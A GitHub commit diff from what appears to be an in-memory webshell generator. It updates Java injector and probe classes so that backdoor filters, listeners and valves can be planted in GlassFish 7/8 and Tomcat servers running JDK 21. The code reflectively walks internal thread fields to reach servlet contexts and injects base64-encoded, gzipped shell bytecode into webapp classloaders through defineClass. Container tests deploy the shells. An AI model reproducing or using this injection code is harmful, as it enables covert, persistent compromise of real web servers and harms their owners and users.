Skip to content

Commit 434aecc

Browse files
committed
fix: glassfish7/8 jdk21 shell failed
1 parent 44f28f4 commit 434aecc

14 files changed

Lines changed: 3078 additions & 15 deletions

File tree

generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java

Lines changed: 17 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -87,7 +87,11 @@ public Set<Object> getContext() throws Exception {
8787
Set<Thread> threads = Thread.getAllStackTraces().keySet();
8888
for (Thread thread : threads) {
8989
if (thread.getName().contains("ContainerBackgroundProcessor")) {
90-
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
90+
Object target = getThreadTarget(thread);
91+
if (target == null) {
92+
continue;
93+
}
94+
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(target, "this$0"), "children");
9195
for (Object value : childrenMap.values()) {
9296
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
9397
contexts.addAll(children.values());
@@ -97,6 +101,18 @@ public Set<Object> getContext() throws Exception {
97101
return contexts;
98102
}
99103

104+
private Object getThreadTarget(Thread thread) throws Exception {
105+
Object target = getFieldValue(thread, "target");
106+
if (target == null) {
107+
// JDK 21+
108+
Object holder = getFieldValue(thread, "holder");
109+
if (holder != null) {
110+
target = getFieldValue(holder, "task");
111+
}
112+
}
113+
return target;
114+
}
115+
100116
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
101117
try {
102118
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));

generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java

Lines changed: 14 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -76,7 +76,11 @@ public Set<Object> getContext() throws Exception {
7676
Set<Thread> threads = Thread.getAllStackTraces().keySet();
7777
for (Thread thread : threads) {
7878
if (thread.getName().contains("ContainerBackgroundProcessor")) {
79-
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
79+
Object target = getThreadTarget(thread);
80+
if (target == null) {
81+
continue;
82+
}
83+
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(target, "this$0"), "children");
8084
Collection<?> values = childrenMap.values();
8185
for (Object value : values) {
8286
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
@@ -87,6 +91,15 @@ public Set<Object> getContext() throws Exception {
8791
return contexts;
8892
}
8993

94+
private Object getThreadTarget(Thread thread) throws Exception {
95+
try {
96+
return getFieldValue(thread, "target");
97+
} catch (NoSuchFieldException e) {
98+
// JDK 21+
99+
return getFieldValue(getFieldValue(thread, "holder"), "task");
100+
}
101+
}
102+
90103
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
91104
try {
92105
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java

Lines changed: 9 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -199,17 +199,22 @@ public static byte[] gzipDecompress(byte[] compressedData) {
199199

200200
@SuppressWarnings("all")
201201
public void defineTargetClass(ClassLoader loader) {
202+
// Always define into the target class's loader. loadClass() may resolve the shell from the
203+
// agent AppClassLoader, which OSGi bundle loaders cannot use for NEW/invoke.
202204
try {
203-
loader.loadClass(getClassName());
204-
return;
205-
} catch (ClassNotFoundException ignored) {
205+
java.lang.reflect.Method findLoadedClass = ClassLoader.class.getDeclaredMethod("findLoadedClass", String.class);
206+
findLoadedClass.setAccessible(true);
207+
if (findLoadedClass.invoke(loader, getClassName()) != null) {
208+
return;
209+
}
210+
} catch (Throwable ignored) {
206211
}
207212
try {
208213
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
209214
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
210215
defineClass.setAccessible(true);
211216
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
212-
} catch (Exception ignored) {
217+
} catch (Throwable ignored) {
213218
}
214219
}
215220
}

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java

Lines changed: 9 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -199,17 +199,22 @@ public static byte[] gzipDecompress(byte[] compressedData) {
199199

200200
@SuppressWarnings("all")
201201
public void defineTargetClass(ClassLoader loader) {
202+
// Always define into the target class's loader. loadClass() may resolve the shell from the
203+
// agent AppClassLoader, which OSGi bundle loaders cannot use for NEW/invoke.
202204
try {
203-
loader.loadClass(getClassName());
204-
return;
205-
} catch (ClassNotFoundException ignored) {
205+
java.lang.reflect.Method findLoadedClass = ClassLoader.class.getDeclaredMethod("findLoadedClass", String.class);
206+
findLoadedClass.setAccessible(true);
207+
if (findLoadedClass.invoke(loader, getClassName()) != null) {
208+
return;
209+
}
210+
} catch (Throwable ignored) {
206211
}
207212
try {
208213
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
209214
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
210215
defineClass.setAccessible(true);
211216
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
212-
} catch (Exception ignored) {
217+
} catch (Throwable ignored) {
213218
}
214219
}
215220
}

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java

Lines changed: 22 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -59,14 +59,22 @@ public Set<Object> getContext() throws Exception {
5959
for (Thread thread : threads) {
6060
String threadName = thread.getName();
6161
if (threadName.contains("ContainerBackgroundProcessor")) {
62-
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
62+
Object target = getThreadTarget(thread);
63+
if (target == null) {
64+
continue;
65+
}
66+
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(target, "this$0"), "children");
6367
for (Object value : childrenMap.values()) {
6468
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
6569
contexts.addAll(children.values());
6670
}
6771
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
6872
try {
69-
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
73+
Object target = getThreadTarget(thread);
74+
if (target == null) {
75+
continue;
76+
}
77+
Object proto = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "proto");
7078
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
7179
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
7280
for (Object value : childrenMap.values()) {
@@ -90,6 +98,18 @@ public Set<Object> getContext() throws Exception {
9098
return contexts;
9199
}
92100

101+
private Object getThreadTarget(Thread thread) throws Exception {
102+
Object target = getFieldValue(thread, "target");
103+
if (target == null) {
104+
// JDK 21+
105+
Object holder = getFieldValue(thread, "holder");
106+
if (holder != null) {
107+
target = getFieldValue(holder, "task");
108+
}
109+
}
110+
return target;
111+
}
112+
93113
@SuppressWarnings("all")
94114
private String getContextRoot(Object context) {
95115
String r = null;

generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -70,7 +70,9 @@ public static String exit(@Advice.Return(readOnly = false) String ret) {
7070
if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")) {
7171
return ret = "SpringWebFlux";
7272
}
73-
if (System.getProperty("AS_INSTALL") != null) {
73+
if (System.getProperty("AS_INSTALL") != null
74+
|| System.getProperty("com.sun.aas.installRoot") != null
75+
|| System.getProperty("glassfish.version") != null) {
7476
return ret = "GlassFish";
7577
}
7678
if (System.getProperty("jboss.home.dir") != null

generator/src/main/java/com/reajason/javaweb/probe/payload/filter/GlassFishFilterProbe.java

Lines changed: 14 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -156,7 +156,11 @@ public Set<Object> getContext() throws Exception {
156156
Set<Thread> threads = Thread.getAllStackTraces().keySet();
157157
for (Thread thread : threads) {
158158
if (thread.getName().contains("ContainerBackgroundProcessor")) {
159-
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
159+
Object target = getThreadTarget(thread);
160+
if (target == null) {
161+
continue;
162+
}
163+
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(target, "this$0"), "children");
160164
for (Object value : childrenMap.values()) {
161165
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
162166
contexts.addAll(children.values());
@@ -166,6 +170,15 @@ public Set<Object> getContext() throws Exception {
166170
return contexts;
167171
}
168172

173+
private Object getThreadTarget(Thread thread) throws Exception {
174+
try {
175+
return getFieldValue(thread, "target");
176+
} catch (NoSuchFieldException e) {
177+
// JDK 21+
178+
return getFieldValue(getFieldValue(thread, "holder"), "task");
179+
}
180+
}
181+
169182
public static Object invokeMethod(Object obj, String methodName) throws Exception {
170183
return invokeMethod(obj, methodName, null, null);
171184
}

generator/src/main/java/com/reajason/javaweb/probe/payload/response/GlassFishWriter.java

Lines changed: 14 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -32,7 +32,7 @@ public GlassFishWriter() {
3232
// GlassFish4+
3333
Set<Thread> threads = Thread.getAllStackTraces().keySet();
3434
for (Thread thread : threads) {
35-
Object blocker = getFieldValue(thread, "blocker");
35+
Object blocker = getThreadBlocker(thread);
3636
if (blocker == null || !blocker.getClass().getName().contains("Selector")) {
3737
continue;
3838
}
@@ -62,6 +62,19 @@ public GlassFishWriter() {
6262
}
6363
}
6464

65+
private Object getThreadBlocker(Thread thread) {
66+
try {
67+
return getFieldValue(thread, "blocker");
68+
} catch (Throwable ignored) {
69+
try {
70+
// JDK 21+
71+
return getFieldValue(thread, "nioBlocker");
72+
} catch (Throwable ignored2) {
73+
return null;
74+
}
75+
}
76+
}
77+
6578
private boolean tryWriteRes(Object request) throws Exception {
6679
Object response = invokeMethod(request, "getResponse", null, null);
6780
String data = getDataFromReq(request);
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
package com.reajason.javaweb.integration.memshell.glassfish;
2+
3+
import com.reajason.javaweb.integration.AbstractContainerTest;
4+
import com.reajason.javaweb.integration.ContainerTestConfig;
5+
import com.reajason.javaweb.memshell.ShellTool;
6+
import com.reajason.javaweb.memshell.ShellType;
7+
import com.reajason.javaweb.packer.Packers;
8+
import net.bytebuddy.jar.asm.Opcodes;
9+
import org.testcontainers.containers.GenericContainer;
10+
import org.testcontainers.containers.Network;
11+
import org.testcontainers.containers.wait.strategy.Wait;
12+
import org.testcontainers.junit.jupiter.Container;
13+
import org.testcontainers.junit.jupiter.Testcontainers;
14+
15+
import java.util.List;
16+
17+
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
18+
19+
/**
20+
* @author ReaJason
21+
* @since 2024/12/12
22+
*/
23+
@Testcontainers
24+
public class GlassFish7JDK21ContainerTest extends AbstractContainerTest {
25+
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
26+
"reajason/glassfish:7.1.1-jdk21",
27+
"/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
28+
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
29+
.warFile(warJakartaFile)
30+
.jakarta(true)
31+
.targetJdkVersion(Opcodes.V21)
32+
.supportedShellTypes(List.of(
33+
ShellType.JAKARTA_FILTER,
34+
ShellType.JAKARTA_LISTENER,
35+
ShellType.JAKARTA_VALVE,
36+
ShellType.AGENT_FILTER_CHAIN,
37+
ShellType.CATALINA_AGENT_CONTEXT_VALVE
38+
))
39+
.unSupportedShellTools(List.of(ShellTool.AntSword))
40+
.testPackers(List.of(Packers.JSP))
41+
.probeShellTypes(List.of(
42+
ShellType.JAKARTA_FILTER,
43+
ShellType.JAKARTA_LISTENER,
44+
ShellType.JAKARTA_VALVE
45+
))
46+
.build();
47+
48+
static Network network = newNetwork();
49+
@Container
50+
public static final GenericContainer<?> python = buildPythonContainer(network);
51+
52+
@Container
53+
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
54+
55+
@Override
56+
protected ContainerTestConfig getConfig() {
57+
return CONFIG;
58+
}
59+
}
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
package com.reajason.javaweb.integration.memshell.glassfish;
2+
3+
import com.reajason.javaweb.integration.AbstractContainerTest;
4+
import com.reajason.javaweb.integration.ContainerTestConfig;
5+
import com.reajason.javaweb.memshell.ShellTool;
6+
import com.reajason.javaweb.memshell.ShellType;
7+
import com.reajason.javaweb.packer.Packers;
8+
import net.bytebuddy.jar.asm.Opcodes;
9+
import org.testcontainers.containers.GenericContainer;
10+
import org.testcontainers.containers.Network;
11+
import org.testcontainers.containers.wait.strategy.Wait;
12+
import org.testcontainers.junit.jupiter.Container;
13+
import org.testcontainers.junit.jupiter.Testcontainers;
14+
15+
import java.util.List;
16+
17+
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
18+
19+
/**
20+
* @author ReaJason
21+
* @since 2024/12/12
22+
*/
23+
@Testcontainers
24+
public class GlassFish8ContainerTest extends AbstractContainerTest {
25+
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
26+
"reajason/glassfish:8.0.3-jdk21",
27+
"/usr/local/glassfish8/glassfish/domains/domain1/autodeploy/app.war")
28+
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
29+
.warFile(warJakartaFile)
30+
.jakarta(true)
31+
.targetJdkVersion(Opcodes.V21)
32+
.supportedShellTypes(List.of(
33+
ShellType.JAKARTA_FILTER,
34+
ShellType.JAKARTA_LISTENER,
35+
ShellType.JAKARTA_VALVE,
36+
ShellType.AGENT_FILTER_CHAIN,
37+
ShellType.CATALINA_AGENT_CONTEXT_VALVE
38+
))
39+
.unSupportedShellTools(List.of(ShellTool.AntSword))
40+
.testPackers(List.of(Packers.JSP))
41+
.probeShellTypes(List.of(
42+
ShellType.JAKARTA_FILTER,
43+
ShellType.JAKARTA_LISTENER,
44+
ShellType.JAKARTA_VALVE
45+
))
46+
.build();
47+
48+
static Network network = newNetwork();
49+
@Container
50+
public static final GenericContainer<?> python = buildPythonContainer(network);
51+
52+
@Container
53+
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
54+
55+
@Override
56+
protected ContainerTestConfig getConfig() {
57+
return CONFIG;
58+
}
59+
}

0 commit comments

Comments
 (0)